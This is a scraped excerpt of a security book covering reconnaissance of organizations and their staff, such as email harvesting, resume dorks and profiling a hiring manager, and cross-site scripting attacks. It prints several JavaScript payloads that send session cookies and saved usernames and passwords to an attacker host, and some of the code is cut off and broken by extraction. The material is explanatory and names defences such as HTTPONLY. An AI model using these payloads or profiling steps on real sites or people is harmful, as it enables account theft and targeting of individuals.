Hacking: The Next Generation P2

Hacking: The Next Generation P2

Twitter is a microblogging application. A microblog consists of small entries that users post from “connected” devices. More and more people are using Twitter to collect their thoughts about different things they encounter and post them to the Internet. Messages on Twitter are often unedited, informal, and off-the-cuff. Because of this, the information has a tendency to be very accurate and genuine. An attacker can use Twitter’s search interface, http://search.twitter.com, to search Twitter messages given a specific keyword. Depending on the target, it may be beneficial for attackers to seek information about a specific individual or organization. In February 2009,...

Nội dung Text: Hacking: The Next Generation P2

Figure 1-11. Description of how the attacker obtained access to Sarah Palin’s Yahoo! account
Figure 1-10. Facebook’s response
Twitter
Twitter is a microblogging application. A microblog consists of small entries that users
post from “connected” devices. More and more people are using Twitter to collect their
thoughts about different things they encounter and post them to the Internet. Messages
on Twitter are often unedited, informal, and off-the-cuff. Because of this, the informa-
tion has a tendency to be very accurate and genuine.
An attacker can use Twitter’s search interface, http://search.twitter.com, to search Twit-
ter messages given a specific keyword. Depending on the target, it may be beneficial
for attackers to seek information about a specific individual or organization.
In February 2009, Pete Hoekstra, a member of the U.S. House of Representatives, used
Twitter to update his precise whereabouts while traveling to Iraq. Figure 1-12 shows
Hoekstra’s message.
It is clear from this example how the information individuals put on microblogging
channels can aid attackers. In this case, the information Hoekstra twittered could have
aided terrorist efforts that may have jeopardized his security. Messages posted on mi-
croblogging channels such as Twitter are therefore extremely important and useful to
attackers.
Leveraging Social Networks | 15
Download at WoWeBook.Com

Figure 1-12. Pete Hoekstra’s Twitter message
For more information on the Pete Hoekstra incident, see “Pete Hoekstra
Uses Twitter to Post from Iraq about Secret Trip” at http://www.media
mouse.org/news/2009/02/pete-hoekstra-twitter-iraq.php.
Tracking Employees
Attackers do not necessarily limit their attacks to organizations. Often, the attacks are
aimed at specific employees and business units of the target organization. The human
factor is still the weakest part of the organization.
First things first: attackers need to gather employee lists and then correlate attack vec-
tors to them. In doing so, attackers have a better chance of successfully entering the
target organization.
A critical step for attackers is to gather a target list of employees. This list will often
contain employee names, personal and work email addresses, home addresses, work
and home phone numbers, and some interesting notes about the employees.
The information contained in such an employee list can have multiple uses. For ex-
ample, certain information about an employee may suggest that the best attack method
is social engineering through intimidation. Another employee’s profile may suggest she
is particularly vulnerable to clicking links from emails received from social applications.
Email Harvesting with theHarvester
One of the first steps an attacker needs to take is to gather the corporate email addresses
of employees. Attackers do this by using search engines or by crawling the corporate
16 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization
Download at WoWeBook.Com

website. In addition, they can search forums, looking for email addresses ending in the
target domain.
Obtaining email addresses provides a starting point for an attacker; once he has the
email addresses, he can research the employees in more depth.
theHarvester, also known as goog-mail.py, is a tool for enumerating email addresses
from a target domain using these methods. You can configure theHarvester to use
Google or the MSN search engine, as well as attempt enumeration on PGP servers and
LinkedIn.com. The following example demonstrates how to use theHarvester.py to find
email addresses belonging to example.com using Google as the search engine:
$ python theHarvester.py -d example.com -b google -l 1000
*************************************
*TheHarvester Ver. 1.4 *
*Coded by laramies *
*Edge-Security Research *
*cmartorella@edge-security.com *
*************************************
Searching for example.com in google :
========================================
Total results: 326000000
Limit: 1000
Searching results: 0
Searching results: 100
Searching results: 200
Searching results: 300
Searching results: 400
Searching results: 500
Searching results: 600
Searching results: 700
Searching results: 800
Searching results: 900
Accounts found:
====================
psurgimath@example.com
csmith@example.com
info@example.com
brios@example.com
jlee@example.com
====================
Total results: 5
theHarvester is available on BackTrack 3 under the /pentest/enumera-
tion/google directory and is named goog-mail.py. It is also available for
download at http://www.edge-security.com/theHarvester.php.
Tracking Employees | 17
Download at WoWeBook.Com

Resumés
Using online search engines, attackers can search for resumés containing sensitive
information. The amount of “sensitive” information contained in a resumé can be sub-
stantial. Job seekers will often include information in their resumés that could be con-
sidered sensitive and therefore could be useful to an attacker.
The majority of people building resumés don’t realize attackers can data-mine the
information they include, and therefore will often include details about projects they
are currently working on. These details can range from benign information or general
knowledge to information that is intended for an internal audience only.
Again, an attacker can use Google to search for resumés containing the name of the
target organization. For example, this search query will return Microsoft Word resumés
that contain the phrase “current projects”:
resume filetype:doc "current projects"
Searches such as this turn up hundreds of results. Searching for current and previous
employees of the target organization can reveal information that is important to an
attacker. Information from resumés can:
• Reveal programs, databases, and operating systems that are used internally. Sys-
tems include SAP, MySQL, Oracle, Unix, and Windows. This information may
include version numbers.
• Reveal previous and current projects. Attackers can search for other resumés that
have similar project names to attempt to locate other team members.
• Allow attackers to link employees who worked on projects together, aiding an
attacker in identifying social networks.
• Reveal internal details of projects.
• Reveal home addresses and phone numbers of current employees that can be used
in social engineering attacks.
The projects listed in the sample resumé illustrated in Figure 1-13 include competitive
products currently in development, information about SAP integration, and a hybrid
engine purchased by Boeing in September 2006.
18 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization
Download at WoWeBook.Com

Figure 1-13. Resumé with information that could potentially help an attacker
Job Postings
In addition to resumés, job postings can lead attackers to useful information. Job post-
ings are often found on corporate websites or through job search sites (for example,
Monster.com). Some job postings contain information such as hiring managers’ names,
corporate email addresses, or additional information that can aid attackers in tracking
down employees.
Using information gathered from a simple job posting, along with ideas we presented
earlier in the chapter, we will demonstrate how we were able to track down a target
employee. Our first step was to search a job posting site looking for hiring managers.
After searching Monster.com for a hiring manager from the target organization, we
acquired the email address shown in Figure 1-14.
Figure 1-14. Job posting listing the hiring manager’s email address
Once we obtained the email address, we used Google to track down information on
the hiring manager, as illustrated in Figure 1-15. The information we obtained identi-
fied the hiring manager’s name and work phone number. We found this information
on the company’s corporate website.
Tracking Employees | 19
Download at WoWeBook.Com

Figure 1-15. A Google search revealing the hiring manager’s full name and work extension
Now we had a work number and extension. What other information can we dig up?
Using LinkedIn, we searched for the hiring manager along with the name of the or-
ganization. We successfully identified the hiring manager’s profile, which gave us more
information about her. Figure 1-16 is a screenshot of the hiring manager’s LinkedIn
page, which contains a wealth of information that we could use for nefarious purposes.
Figure 1-16. The hiring manager’s LinkedIn profile
Now we have professional information about the target. Can we dig further to identify
other personal information? Can we use this information to intimidate or blackmail
the hiring manager?
Assume that we browse to some social application sites and use the hiring manager’s
name as a search term. We can limit the results based on the geographic location listed
in the target’s LinkedIn profile. We can use additional information to limit results,
including the target’s age and occupation, and even her social contacts. Figure 1-17
shows the target’s MySpace profile.
20 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization
Download at WoWeBook.Com

Figure 1-17. The hiring manager’s MySpace page
This demonstrates the impact that a few pieces of information can have. Using that
information, we were able to obtain additional information about the victim and her
organization. Obviously, job postings can lead attackers in identifying key people, and
give them a starting point for an attack.
Google Calendar
Attackers can use Google Calendar, located at http://calendar.google.com, to find in-
formation about companies and their employees. Using a valid Google account, an
attacker can search through public calendars. Most individuals are aware that public
calendars shouldn’t contain sensitive or confidential information. But people often
forget this fact after they have made their calendar public. Information in public cal-
endars can include internal company deadlines, internal projects, and even dial-in
information.
Figure 1-18 shows the dial-in number and code required to attend an IBO teleconfer-
ence. Attackers can use this public information to call in and “overhear” the conference
call.
Figure 1-18. Dial-in information obtained from calendar.google.com
Figure 1-19 shows another conference call, but outlines more detail about the call. The
description states that three vendors will be making their final pitches to the organiza-
tion. The description goes on to say that the company is not informing the vendors
about the other phone calls to avoid having them “listen in” on their competition’s
calls. Why did someone put this in his public calendar for the world to see? It is clear
how this may aid an attacker and a competitor.
Tracking Employees | 21
Download at WoWeBook.Com

Figure 1-19. Dial-in information regarding vendor calls
What Information Is Important?
What kind of information is important to an attacker and what isn’t? All information
that an attacker can find can be used for some purpose. From the attacker’s perspective,
all information is important. Some information can be more critical than other infor-
mation. Information that could be deemed critical for an attacker to have would
include:
• An employee’s personally identifiable information (PII), such as work and home
phone numbers, work and home addresses, criminal history, Social Security num-
bers, and credit reports
• Network layouts, including the number of web servers and mail servers, their lo-
cations, and the software versions they run
• Company files, including database files, network diagrams, internal papers and
documentation, spreadsheets, and so forth
• Company information such as mergers and acquisitions, business partners, hosting
services, and so forth
• Organizational information, including organizational charts detailing the corpo-
rate structure of who reports to whom
• Work interactions detailing such information as who gets along at the office, how
often direct reports communicate with their managers, how often managers com-
municate with their subordinates, how they communicate (e.g., via email, phone,
BlackBerry), and so forth
The information outlined here can be public or private. Attackers who have done their
preliminary research are rewarded greatly. All of the information obtained during re-
22 | Chapter 1: Intelligence Gathering: Peering Through the Windows to Your Organization
Download at WoWeBook.Com

connaissance can benefit the attacker in some way, including leveraging public infor-
mation to gain internally sensitive information.
Summary
In the past, system administrators have relied on perimeter-based security controls to
alert them to potential attacks on their networks. However, the techniques that at-
tackers can use during reconnaissance will not trigger any such perimeter- or network-
based controls.
Due to the popularity of social applications today, it has become difficult for any or-
ganization to keep track of or police the information employees may put out there. The
information-collection avenues for attackers are not limited to social applications, but
include job postings, resumés, and even simple Google searches.
The crafty attackers are using, and will continue to use, the types of techniques pre-
sented in this chapter to gain substantial amounts of data about their potential victims.
As you saw in this chapter, the techniques that attackers leverage today often include
components of social engineering that give the attempts a greater impact and make
them extremely hard to detect.
Summary | 23
Download at WoWeBook.Com

Download at WoWeBook.Com

CHAPTER 2
Inside-Out Attacks: The Attacker Is
the Insider
Not only does the popular perimeter-based approach to security provide little risk re-
duction today, it is in fact contributing to the increased attack surface criminals are
using to launch potentially devastating attacks. In general, the perimeter-based ap-
proach assumes two types of agents: insiders and outsiders. The outsiders are consid-
ered to be untrusted while the insiders are assumed to be extremely trustworthy. This
type of approach promotes the development of architectures where networks are seg-
regated into clearly delineated “trusted” zones and “untrusted” zones. The obvious
flaw with the perimeter approach is that all the insiders—that is, the employees of a
business—are assumed to be fully trustworthy. This chapter will go beyond the obvious
and expose how the emerging breed of attackers are able to leverage application and
browser flaws to launch “inside-out” attacks, allowing them to assume the role of the
trusted insider.
The impact of the attacks illustrated in this chapter can be extremely devastating to
businesses that approach security with a perimeter mindset where the insiders are gen-
erally trusted with information that is confidential and critical to the organization. Each
of these employees in turn becomes a guard to the business’s secrets; it is their vigilance
and efforts that will ultimately mean the difference between avoiding an incident and
allowing an attacker to steal the organization’s secrets. When any one of the employees
makes a poor security decision, such as browsing to a malicious website (even with a
fully patched browser), a malicious outsider has an opportunity to latch onto the in-
nocent request and make her way into the organization’s internal network with the
insider’s privileges. Similarly, when an outsider convinces, forces, or tricks an employee
to click a link, divulge a vital piece of data, or change some seemingly mundane setting,
the outsider becomes the insider. When an employee’s browser, email client, or oper-
ating system is under an attacker’s control, the outsider becomes the insider.
25
Download at WoWeBook.Com

The next few sections will present scenarios demonstrating how emerging attack vec-
tors make it easy for malicious outsiders to latch onto application and browser trans-
actions, and make their way into an organization’s internal presence.
Man on the Inside
There are many ways to gain access to a corporate internal network, but the most
popular avenue in today’s web-centric world is the web browser. In today’s corporate
environment, web browsers are installed on almost every machine in any given organ-
ization. Web browsers continuously make outgoing requests from within the business’s
network infrastructure and consume responses from external web servers. In essence,
the web browser has become a window into any given organization. The browser is
also a trusted piece of software because it has access to internal as well as external
content. As employees peer out by browsing to external locations, attackers have a
potential opportunity to peer in by exploiting potential security flaws.
The browser has clearly become one of the most probable avenues of exposure. The
browser’s attack surface is huge because it has become a complex piece of software.
Employees implicitly trust the browser to retrieve untrusted code from untrusted serv-
ers. Employees also expect the browser (and the browser plug-ins) to execute that code
in a safe manner. Every day, employees run untrusted code in their browser and or-
ganizations rely on protection mechanisms offered by the browser to guard their secrets.
Knowing the current and potential attack vectors that can target browsers, it would
make sense that corporate firewalls should be configured to prevent untrusted and
malicious code from making its way onto a given corporate network. Unfortunately,
corporations often need to make security exceptions for the traffic the browser gener-
ates and receives because general firewall technologies are designed to work on the
network level, not the application level where browser code executes. This is why the
overwhelming majority of network firewalls do not get in the way of incoming code
that browsers eventually execute, many of which are running on desktops deep inside
the organizational security perimeter. While network firewalls are busy preventing
malicious network traffic from entering an organization, browsers actually invite un-
trusted code inside the security perimeter.
Cross-Site Scripting (XSS)
Cross-site scripting (XSS) is the most popular avenue for attack against the corporate
internal network. XSS remains the most popular attack against the masses because it
is easy to find and to launch, while the consequences of the attack can be devastating.
Although the scope of this chapter is beyond simple XSS tactics, no discussion of client-
side exploitation would be complete without a mention of XSS. This section assumes
that the reader is familiar with the concept of XSS. The goal of this section is to illustrate
26 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider
Download at WoWeBook.Com

how sophisticated attackers today are able to leverage the most out of XSS
vulnerabilities.
The amount of data that is passed between users and online applications is staggering.
It seems that every significant business function has a web interface to manage various
business actions and peruse data. The enormous amount of sensitive information
passed in online transactions makes online data theft appealing and lucrative. Of the
various online attacks, XSS remains one of the most prolific. Although numerous XSS
attack techniques exist, this section will cover a few examples of attacks that focus on
stealing user information. These attacks will progress in complexity and can be used
as a foundation for more advanced, targeted attacks.
If you are not familiar with XSS, the Wikipedia page at http://en.wikipe
dia.org/wiki/Cross-site_scripting is a good resource.
Stealing Sessions
Attackers often use XSS to steal user sessions. The following is the “Hello World” of
XSS attacks. The simplest payloads look something like this:
http://vulnerable-server.com/vulnerable.jsp?parameter=">
document.location="http://attackers-server.com/cookiecatcher.php?cookie="+
document.cookie+"&location="+document.location;
This injected payload ferries the user’s session cookies to an attacker’s server. On the
attacker’s server, the cookiecatcher.php file records the cookie value and notifies the
attacker of a successful exploitation:

mail($recipient, $subject, $mail_body, $header);
}
?>
Figure 2-1 shows the results of an example attack against Gmail.
Figure 2-1. Attacker’s email inbox following a successful XSS exploit
Yes, it’s that simple. With this PHP code on the attacker’s web server, once someone
becomes a victim of an XSS attack the attacker receives an email notifying her of a
successful XSS attack and allows her to immediately exploit the stolen session and
impersonate the victim on the vulnerable website. Once the attacker has stolen the
victim’s session, she can track the web pages the victim is viewing, pilfer all the user
data associated with the application, and execute transactions with the victim’s privi-
leges. The web application cannot distinguish between the attacker and the legitimate
user and gives both the attacker and the legitimate user all of the legitimate user’s
information and data.
You can defeat this type of attack by using the HTTPONLY cookie attribute
for the application’s session cookie. JavaScript cannot access cookies
marked as HTTPONLY, making attacks that utilize the document.cookie
object ineffective. Although the HTTPONLY cookie attribute does not pre-
vent XSS exploitation, it can help prevent theft of session cookies and
other session-based attacks.
Injecting Content
Cramming the entire XSS payload into query strings can be messy and cumbersome.
Most often, the attacker will need to execute a complicated payload to maximize the
impact of the XSS attack. In such situations, the attacker can use external JavaScript
files to house the exploitation payloads. The attacker accomplishes this by injecting a
tag with an src attribute. The src attribute allows the attacker to specify an
28 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider
Download at WoWeBook.Com

external JavaScript file to be executed within the context of the domain hosting the
web application that is vulnerable to XSS. When injecting a tag with an src
attribute into an XSS payload, attackers usually store the external JavaScript file on a
web server they control. A typical injection of an external script file using XSS would
look something like this:
http://vulnerable-server.com/login.jsp?parameter=
">
When a reference to an external script is injected, the attacker has the option of storing
the entire exploit payload in the external script file (in this case, the file at http://attacker-
server.com/payload.js). In this example, the attacker uses the external JavaScript file to
store an exploit payload that scans the FORM objects of the login page and changes the
FORM ACTION so that the user credentials are passed to the attacker’s web server. The
following code shows the content of the external JavaScript file payload.js:
for (i=0;i

}
//complete the form and autosubmit the form using javascript
echo "document.redirect.submit()";
else:
//If orig is missing, redirect to back to the referring site
header( 'Location: '. $HTTP_REFERER) ;
endif;
fclose($fp);
?>
XSS vulnerabilities on login pages can be devastating. For example, if a banking site
has an XSS exposure anywhere on its domain, a sophisticated phisher will be able to
use the XSS vulnerability to circumvent SSL (including Extended Validation SSL) and
phishing filters. Such phishing pages will display all the legitimate SSL certificates and
are undetectable by phishing filters, yet they contain phishing code. By using an XSS
attack such as the one shown previously, a potential phisher can steal user credentials
provided to banking sites, while bypassing all of the current phishing protection
mechanisms.
Stealing Usernames and Passwords
Some browsers allow users to save their usernames and passwords for certain web
pages. Figure 2-2 shows an example of this built-in feature in Firefox.
Figure 2-2. Firefox browser requesting to save a password
Once the browser has been instructed to “remember” a password, the next time the
user visits the login page he will see prepopulated username and password form fields.
Figure 2-3 shows the prepopulated username and password fields after a user has
chosen to “remember” application passwords.
A “remember my password” feature can be very convenient for the user, but it can also
lead to security consequences. The following example will discuss attacks that abuse
this built-in browser feature, focusing on scenarios in which the victim has a “remember
my password” feature enabled on a website that also has an XSS vulnerability. We
present the JavaScript payload in a piecemeal fashion here; it would simply be placed
into one JavaScript payload during a real attack.
30 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider
Download at WoWeBook.Com

Once the victim falls prey to the XSS attack, the attacker must steal the victim’s current
session. We described the steps to steal the victim’s current session earlier. To make
this attack stealthier, the attacker may avoid using document.location and instead resort
to creating a dynamic image using JavaScript:
var stolencookie = new Image();
stolencookie.src = "http://attackers-server.com/cookiecatcher.php?
cookie="+document.cookie+"&location="+document.location;
Figure 2-3. Browser saving the username and password for a particular page
Although this attack doesn’t depend on the ability to steal the victim’s session, it does
create a good foundation for additional attacks and serves as an excellent first step in
exploitation. Once the attacker has stolen the victim’s session cookies, the attacker
must log the victim out of his session in cases where the application does not allow the
victim to access the login page if he already has an active session. The attacker can log
Cross-Site Scripting (XSS) | 31
Download at WoWeBook.Com

out the victim in two different ways. The first method is to force the victim’s browser
to request the logout page, which will completely sign the victim out of the application.
The second method, which is a bit stealthier, makes a copy of the victim’s current
session cookies, then clears the victim’s session cookies using JavaScript and restores
the original cookies after the credentials have been stolen, allowing the victim to resume
his browsing with no indication of the attack. Here is an example of a JavaScript payload
an attacker may use to launch an attack using the second, stealthier method:
// Make a copy of the cookies for later
var copyofcookies = document.cookie;
function clearcookies(){
var cook = document.cookie.split(";");
for(var i=0;i-1?cook[i].substr(0,eq):cook[i];
document.cookie = name+"=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
}
// Delay the calling of clearcookies for 2 seconds
// This allows the session stealing to complete before erasing cookies
setTimeout('clearcookies()', 2000);
JavaScript does not have a native function to enumerate cookie names
and values. This JavaScript payload retrieves the entire
document.cookie object and manually parses the cookies. Once the
cookies have been manually separated, the cookie expiration dates are
back-dated, forcing the browser to expire them on the client side (not
the server side).
Once the victim’s cookies have been cleared using JavaScript, the attacker can inject
an invisible (1-by-1-pixel) IFRAME containing the login page into the page the victim
is currently viewing. Since the victim’s session is no longer valid, the login page will
have the prepopulated username and password fields (invisible to the victim). Once
the login page is loaded into the invisible IFRAME, the attacker can extract the user-
name and password values by calling the document.iframe.form[0].username.value for
the username and the document.iframe.form[0].password.value for the password. Here
is the JavaScript payload the attacker can use to launch this attack:
function injectframe(){
// create the IFRAME
var passwordstealer = document.createElement('IFRAME');
// Make the IFRAME invisible (1x1) and point it to the login page
passwordstealer.height = 1;
passwordstealer.width = 1;
passwordstealer.src = "https://victim-server.com/login.jsp";
// Make the IFRAME a part of the HTML document
32 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider
Download at WoWeBook.Com

document.getElementsByTagName('BODY')[0].appendChild(passwordstealer);
// Steal the username and password
var stolenusername = new Image();
stolencookie.src = "http://www.attacker-server.com/catcher.php?
username="+document.passwordstealer.form[0].username.value;
var stolenpassword = new Image();
stolencookie.src = "http://www.attacker-server.com/catcher.php?
password="+document.passwordstealer.form[0].password.value;
}
// Delay the execution of injectframe so the cookieclear completes
setTimeout('injectframe()', 5000);
As soon as the attacker has stolen the victim’s username and password and sent them
to her web server, she can restore the original session cookie to prevent suspicion. This
makes the victim’s browser resume the browsing session as though nothing ever
happened.
function restorecookies(){
document.cookie = copyofcookies;
}
// Delay the execution of restore cookies
// until after the creds have been stolen
setTimeout('restorecookies()',7000);
At this point, the attacker will have the victim’s clear-text username and password.
Obviously, the attacker can use the stolen username and password on the vulnerable
application from which she stole the credentials. The attacker can also now begin to
determine whether the victim has used the same password on other web applications.
If the victim used the same password (or subtle variants) on other applications, the
attacker can gain access to those web applications and the associated data. These sce-
narios are very common in the online world where attackers steal the credentials of one
account and use the stolen information to break into several different accounts from
which they obtain more information, leading to the compromise of even more accounts
and data. Figure 2-4 shows the clear username and password for the victim.
Figure 2-4. Logfile on attacker’s system with the victim’s username and password in clear text
Here is the source code for catcher.php:
Cross-Site Scripting (XSS) | 33
Download at WoWeBook.Com

Advanced and Automated Attacks
In the next example, we present techniques involving the XMLHttpRequest object and
how an attacker can use the XMLHttpRequest object to grab the HTML source for various
pages on a web application that is vulnerable to XSS. In this scenario, the attacker will
make the requests with the victim’s session cookies, allowing the attacker to steal
content meant for the victim. Once the attacker steals the content from the page, the
content is ferried back to the attacker’s website. The attacker’s web server parses the
HTML, pulls out any links to different pages, and manipulates the XMLHttpRequest
object to pull the content from the different pages, essentially spidering the vulnerable
web application with the victim’s session! This attack can be devastating when dealing
with web-based email, websites housing sensitive documents, and even intranet web-
sites that are supposed to be accessible only from inside an organization’s perimeter.
The beauty of this attack is that it maximizes the impact of a single XSS vulnerability,
allowing the attacker to use the victim’s browser to steal all the data on the affected site
in one swift, automated motion. This attack also allows the attacker unlimited time for
offline data perusal and analysis since the contents of the vulnerable site and the victim’s
data will be copied to the attacker’s server. Protection mechanisms such as SSL
(HTTPS), SECURE cookie attributes, HTTPONLY cookie attributes, concurrent login pro-
tections, and session timeouts will not mitigate an attack such as this.
34 | Chapter 2: Inside-Out Attacks: The Attacker Is the Insider
Download at WoWeBook.Com